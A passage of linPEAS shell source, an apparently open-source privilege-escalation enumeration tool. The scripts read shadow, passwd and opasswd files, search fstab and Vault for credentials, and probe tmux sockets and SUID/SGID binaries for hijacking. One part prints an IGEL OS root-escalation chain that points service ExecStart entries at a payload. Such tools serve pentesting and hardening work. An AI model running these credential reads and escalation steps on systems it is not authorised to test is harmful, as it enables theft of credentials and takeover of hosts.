| sed -${E} "s,User|ProxyCommand,${SED_RED},"; done echo "" fi if [ "$hostsdenied" ]; then print_3title "/etc/hosts.denied file found, read the rules:" "T1552.004,T1021.004" printf "$hostsdenied\n" cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," echo "" fi if [ "$hostsallow" ]; then print_3title "/etc/hosts.allow file found, trying to read the rules:" "T1552.004,T1021.004" printf "$hostsallow\n" cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," echo "" fi if [ "$sshconfig" ]; then echo "" echo "Searching inside /etc/ssh/ssh_config for interesting info" grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh ================================================ # Title: Software Information - Tmux # ID: SI_Tmux # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Enumerate Tmux # License: GNU GPL # Version: 1.0 # Mitre: T1563 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $SEARCH_IN_FOLDER, $wgroups # Initial Functions: # Generated Global Variables: $tmuxdefsess, $tmuxnondefsess, $tmuxsess2 # Fat linpeas: 0 # Small linpeas: 1 tmuxdefsess=$(tmux ls 2>/dev/null) tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching tmux sessions"$N print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-shell-sessions" tmux -V printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Vault_ssh.sh ================================================ # Title: Software Information - Vault-ssh # ID: SI_Vault_ssh # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching Vault-ssh files # License: GNU GPL # Version: 1.0 # Mitre: T1552.004 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then print_2title "Searching Vault-ssh files" "T1552.004" printf "$PSTORAGE_VAULT_SSH_HELPER\n" printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done echo "" vault secrets list 2>/dev/null printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/YubiKey.sh ================================================ # Title: Software Information - YubiKey athentication # ID: SI_YubiKey # Author: Carlos Polop # Last Update: 22-08-2023 # Description: YubiKey athentication # License: GNU GPL # Version: 1.0 # Mitre: T1556 # Functions Used: print_2title # Global Variables: $DEBUG, $IAMROOT # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then print_2title "YubiKey authentication" "T1556" printf "System supports$RED YubiKey authentication\n" if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then echo "${RED}/var/db/yubikey/ is writable by you" ls -ld /var/db/yubikey/ else ls -ld /var/db/yubikey/ 2>/dev/null fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/10_Read_creds_files.sh ================================================ # Title: Interesting Permissions Files - Read creds files # ID: IP_Read_creds_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Hashes in passwd file, shadow files and other files # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: echo_no, print_list # Global Variables: $IAMROOT, $SEARCH_IN_FOLDER, $USER, $wgroups # Initial Functions: # Generated Global Variables: $possible_check # Fat linpeas: 0 # Small linpeas: 1 ##-- IPF) Hashes in passwd file if ! [ "$SEARCH_IN_FOLDER" ]; then print_list "Hashes inside passwd file? ........... " if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi ##-- IPF) Writable in passwd file print_list "Writable passwd file? ................ " if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," else echo_no fi ##-- IPF) Credentials in fstab print_list "Credentials in fstab/mtab? ........... " if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi ##-- IPF) Read shadow files print_list "Can I read shadow files? ............. " if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi print_list "Can I read shadow plists? ............ " possible_check="" (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no print_list "Can I write shadow plists? ........... " possible_check="" (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no ##-- IPF) Read opasswd file print_list "Can I read opasswd file? ............. " if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" else echo_no fi ##-- IPF) network-scripts print_list "Can I write in network-scripts? ...... " if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," else echo_no fi ##-- IPF) Read root dir print_list "Can I read root folder? .............. " (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/11_Root_files_home_dir.sh ================================================ # Title: Interesting Permissions Files - Root files in home dirs # ID: IP_Root_files_home_dir # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching root files in home dirs # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: echo_not_found, print_2title # Global Variables: $HOMESEARCH, $SEARCH_IN_FOLDER, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching root files in home dirs (limit 30)" "T1083" (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/12_Others_files_in_my_dirs.sh ================================================ # Title: Interesting Permissions Files - Others files in my dirs # ID: IP_Others_files_in_my_dirs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching folders owned by me containing others files on it # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: print_2title # Global Variables: $IAMROOT, $knw_usrs, $nosh_usrs, $ROOT_FOLDER, $sh_usrs ,$USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$IAMROOT" ]; then print_2title "Searching folders owned by me containing others files on it (limit 100)" "T1083" (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/13_Root_readable_files_notworld_readeble.sh ================================================ # Title: Interesting Permissions Files - Root readable files not world readable # ID: IP_Root_readable_files_notworld_readeble # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Readable files belonging to root and readable by me but not world readable # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: echo_not_found, print_2title # Global Variables: $IAMROOT, $ROOT_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$IAMROOT" ]; then print_2title "Readable files belonging to root and readable by me but not world readable" "T1083" (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/14_Writable_files_owner_all.sh ================================================ # Title: Interesting Permissions Files - Writable files by ownership or all # ID: IP_Writable_files_owner_all # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Interesting writable files owned by me or writable by everyone (not in Home) # License: GNU GPL # Version: 1.0 # Mitre: T1574.009,T1574.010 # Functions Used: print_2title, print_info # Global Variables: $HOME, $IAMROOT, $ITALIC, $notExtensions, $ROOT_FOLDER, $USER, $writeVB, $writeB # Initial Functions: # Generated Global Variables: $obmowbe # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$IAMROOT" ]; then print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 200)" "T1574.009,T1574.010" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files" #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "/dev/*" ! -path "/snap/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n 200) printf "%s\n" "$obmowbe" | while read l; do if echo "$l" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$l\n"$NC; elif echo "$l" | grep -qE "$writeVB"; then echo "$l" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," else echo "$l" | sed -${E} "s,$writeB,${SED_RED}," fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/15_Writable_files_group.sh ================================================ # Title: Interesting Permissions Files - Interesting writable files by group # ID: IP_Writable_files_group # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Interesting GROUP writable files (not in Home) # License: GNU GPL # Version: 1.0 # Mitre: T1574.009,T1574.010 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $HOME, $IAMROOT, $notExtensions, $ROOT_FOLDER, $writeVB, $writeB # Initial Functions: # Generated Global Variables: $iwfbg # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$IAMROOT" ]; then print_2title "Interesting GROUP writable files (not in Home) (max 200)" "T1574.009,T1574.010" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files" for g in $(groups); do iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n 200) if [ "$iwfbg" ] || [ "$DEBUG" ]; then printf " Group $GREEN$g:\n$NC"; printf "%s\n" "$iwfbg" | while read l; do if echo "$l" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$l\n"$NC; elif echo "$l" | grep -Eq "$writeVB"; then echo "$l" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," else echo "$l" | sed -${E} "s,$writeB,${SED_RED}," fi done fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_IGEL_OS_SUID.sh ================================================ # Title: Interesting Permissions Files - IGEL OS SUID setup/date abuse # ID: IP_IGEL_OS_SUID # Author: HT Bot # Last Update: 29-11-2025 # Description: Detect IGEL OS environments that expose the SUID-root `setup`/`date` binaries and highlight writable NetworkManager/systemd configs that enable the documented privilege escalation chain (Metasploit linux/local/igel_network_priv_esc). # License: GNU GPL # Version: 1.0 # Mitre: T1548.001 # Functions Used: print_2title, print_info # Global Variables: $ITALIC, $NC, $SED_GREEN, $SED_RED, $SED_RED_YELLOW, $SUPERFAST # Initial Functions: # Generated Global Variables: $igel_markers, $igel_marker_sources, $marker, $igel_suid_hits, $candidate, $writable_nm, $writable_systemd, $unitdir, $tmp_units # Fat linpeas: 0 # Small linpeas: 1 igel_markers="" igel_marker_sources="" if [ -f /etc/os-release ] && grep -qi "igel" /etc/os-release 2>/dev/null; then igel_markers="Yes" igel_marker_sources="/etc/os-release" fi if [ -f /etc/issue ] && grep -qi "igel" /etc/issue 2>/dev/null; then igel_markers="Yes" igel_marker_sources="${igel_marker_sources} /etc/issue" fi for marker in /etc/igel /wfs/igel /userhome/.igel /config/sessions/igel; do if [ -e "$marker" ]; then igel_markers="Yes" igel_marker_sources="${igel_marker_sources} $marker" fi done igel_suid_hits="" for candidate in /usr/bin/setup /bin/setup /usr/sbin/setup /opt/igel/bin/setup /usr/bin/date /bin/date /usr/lib/igel/date; do if [ -u "$candidate" ]; then igel_suid_hits="${igel_suid_hits}$(ls -lah "$candidate" 2>/dev/null)\n" fi done if [ -n "$igel_markers" ] || [ -n "$igel_suid_hits" ]; then print_2title "IGEL OS SUID setup/date privilege escalation surface" "T1548.001" print_info "https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-11-28-2025" if [ -n "$igel_markers" ]; then echo "Potential IGEL OS detected via: $igel_marker_sources" | sed -${E} "s,.*,${SED_GREEN}," else echo "IGEL-specific SUID helpers found but IGEL markers were not detected" | sed -${E} "s,.*,${SED_RED}," fi if [ -n "$igel_suid_hits" ]; then echo "SUID-root helpers exposing configuration primitives:" | sed -${E} "s,.*,${SED_RED_YELLOW}," printf "%b" "$igel_suid_hits" else echo "No SUID setup/date binaries were located (system may be patched)." fi writable_nm="" writable_systemd="" if ! [ "$SUPERFAST" ]; then if [ -d /etc/NetworkManager ]; then writable_nm=$(find /etc/NetworkManager -maxdepth 3 -type f -writable 2>/dev/null | head -n 25) fi for unitdir in /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system; do if [ -d "$unitdir" ]; then tmp_units=$(find "$unitdir" -maxdepth 2 -type f -writable 2>/dev/null | head -n 15) if [ -n "$tmp_units" ]; then writable_systemd="${writable_systemd}${tmp_units}\n" fi fi done fi if [ -n "$writable_nm" ]; then echo "Writable NetworkManager profiles/hooks (swap Exec path to your payload):" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "$writable_nm" fi if [ -n "$writable_systemd" ]; then echo "Writable systemd unit files (edit ExecStart, then restart via setup/date):" | sed -${E} "s,.*,${SED_RED_YELLOW}," printf "%b" "$writable_systemd" fi printf "$ITALIC Known exploitation chain: Use the SUID setup/date binaries to edit NetworkManager or systemd configs so ExecStart points to your payload, then trigger a service restart via the same helper to run as root (Metasploit linux/local/igel_network_priv_esc).$NC\n" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/16_Writable_root_execs.sh ================================================ # Title: Interesting Permissions Files - Writable root-owned executables # ID: IP_Writable_root_execs # Author: HT Bot # Last Update: 29-11-2025 # Description: Locate root-owned executables outside home folders that the current user can modify # License: GNU GPL # Version: 1.0 # Mitre: T1574.009,T1574.010 # Functions Used: print_2title, print_info, echo_not_found # Global Variables: $DEBUG, $IAMROOT, $ROOT_FOLDER, $HOME, $writeVB # Initial Functions: # Generated Global Variables: $writable_root_execs # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$IAMROOT" ]; then print_2title "Writable root-owned executables I can modify (max 200)" "T1574.009,T1574.010" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files" writable_root_execs=$( find "$ROOT_FOLDER" -type f -user root -perm -u=x \ \( -perm -g=w -o -perm -o=w \) \ ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/snap/*" ! -path "$HOME/*" 2>/dev/null \ | while IFS= read -r f; do if [ -w "$f" ]; then ls -l "$f" 2>/dev/null fi done | head -n 200 ) if [ "$writable_root_execs" ] || [ "$DEBUG" ]; then printf "%s\n" "$writable_root_execs" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," else echo_not_found "Writable root-owned executables" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/1_SUID.sh ================================================ # Title: Interesting Permissions Files - SUID # ID: IP_SUID # Author: Carlos Polop # Last Update: 22-08-2023 # Description: SUID - Check easy privesc, exploits and write perms # License: GNU GPL # Version: 1.0 # Mitre: T1548.001 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $IAMROOT, $LDD, $ROOT_FOLDER, $READELF, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, $STRINGS, $TIMEOUT, $Wfolders, $cfuncs # Initial Functions: # Generated Global Variables: $suids_files, $sname, $sline_first, $sline, $OLD_LD_LIBRARY_PATH, $LD_LIBRARY_PATH # Fat linpeas: 0 # Small linpeas: 1 print_2title "SUID - Check easy privesc, exploits and write perms" "T1548.001" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid" if ! [ "$STRINGS" ]; then echo_not_found "strings" fi if ! [ "$STRACE" ]; then echo_not_found "strace" fi suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) printf "%s\n" "$suids_files" | while read s; do [ -z "$s" ] && continue s=$(ls -lahtr "$s") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if echo "$s" | grep -qE "^total"; then break; fi sname="$(echo $s | awk '{print $9}')" if [ "$sname" = "." ] || [ "$sname" = ".." ]; then true #Don't do nothing elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED}," elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," else c="a" for b in $sidB; do if echo "$sname" | grep -q $(echo $b | cut -d % -f 1); then echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," c="" break; fi done; if [ "$c" ]; then if echo "$sname" | grep -qE "$sidG1" || echo "$sname" | grep -qE "$sidG2" || echo "$sname" | grep -qE "$sidG3" || echo "$sname" | grep -qE "$sidG4" || echo "$sname" | grep -qE "$sidVB" || echo "$sname" | grep -qE "$sidVB2"; then echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," else echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC if ! [ "$FAST" ]; then if [ "$STRINGS" ]; then $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do sline_first="$(echo "$sline" | cut -d ' ' -f1)" if echo "$sline_first" | grep -qEv "$cfuncs"; then if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n" fi elif echo "$sline_first" | grep -q "/" && [ -d "$(dirname "$sline_first")" ] && [ -w "$(dirname "$sline_first")" ]; then #If path does not exist but can be created printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can create it inside writable dir $RED$(dirname "$sline_first")$NC$ITALIC (strings line: $sline) (https://tinyurl.com/suidpath)\n" else #If not a path if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n" fi fi fi done fi if [ "$LDD" ] || [ "$READELF" ]; then echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" fi if [ "$LDD" ]; then "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" fi if [ "$READELF" ]; then "$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" fi if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ -x "$sname" ]; then printf $ITALIC echo "----------------------------------------------------------------------------------------" echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH export LD_LIBRARY_PATH="" timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" printf $NC export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH echo "----------------------------------------------------------------------------------------" echo "" fi fi fi fi fi done; echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/2_SGID.sh ================================================ # Title: Interesting Permissions Files - SGID # ID: IP_SGID # Author: Carlos Polop # Last Update: 22-08-2023 # Description: SGID # License: GNU GPL # Version: 1.0 # Mitre: T1548.001 # Functions Used: print_2title, print_info # Global Variables: $cfuncs, $IAMROOT, $LDD, $READELF, $ROOT_FOLDER, $sidB, $sidG1, $sidG2, $sidG3, $sidG4, $sidVB, $sidVB2, $STRACE, $STRINGS, $TIMEOUT, $Wfolders # Initial Functions: # Generated Global Variables: $sgids_files, $sname, $sline_first, $sline, $LD_LIBRARY_PATH, $OLD_LD_LIBRARY_PATH # Fat linpeas: 0 # Small linpeas: 1 print_2title "SGID" "T1548.001" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid" sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) printf "%s\n" "$sgids_files" | while read s; do [ -z "$s" ] && continue s=$(ls -lahtr "$s") #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder if echo "$s" | grep -qE "^total";then break; fi sname="$(echo $s | awk '{print $9}')" if [ "$sname" = "." ] || [ "$sname" = ".." ]; then true #Don't do nothing elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED}," elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," else c="a" for b in $sidB; do if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," c="" break; fi done; if [ "$c" ]; then if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," else echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED}," printf $ITALIC if ! [ "$FAST" ]; then if [ "$STRINGS" ]; then $STRINGS "$sname" | sort | uniq | while read sline; do sline_first="$(echo $sline | cut -d ' ' -f1)" if echo "$sline_first" | grep -qEv "$cfuncs"; then if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n" fi elif echo "$sline_first" | grep -q "/" && [ -d "$(dirname "$sline_first")" ] && [ -w "$(dirname "$sline_first")" ]; then #If path does not exist but can be created printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can create it inside writable dir $RED$(dirname "$sline_first")$NC$ITALIC (strings line: $sline)\n" else #If not a path if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n" fi fi fi done fi if [ "$LDD" ] || [ "$READELF" ]; then echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" fi if [ "$LDD" ]; then "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" fi if [ "$READELF" ]; then "$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" fi if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ -x "$sname" ]; then printf $ITALIC echo "----------------------------------------------------------------------------------------" echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH export LD_LIBRARY_PATH="" timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" printf $NC export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH echo "----------------------------------------------------------------------------------------" echo "" fi fi fi fi fi done; echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/8_interesting_perms_files/3_Files_ACLs.sh ================================================ # Title: Interesting Permissions Files - ACLs # ID: IP_Files_ACLs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Files with ACLs # License: GNU GPL # Version: 1.0 # Mitre: T1222 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $HOMESEARCH, $knw_usrs, $MACPEAS, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $writeB, $writeVB # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Files with ACLs (limited to 50)" "T1222" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls" if ! [ "$SEARCH_IN_FOLDER" ]; then ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed 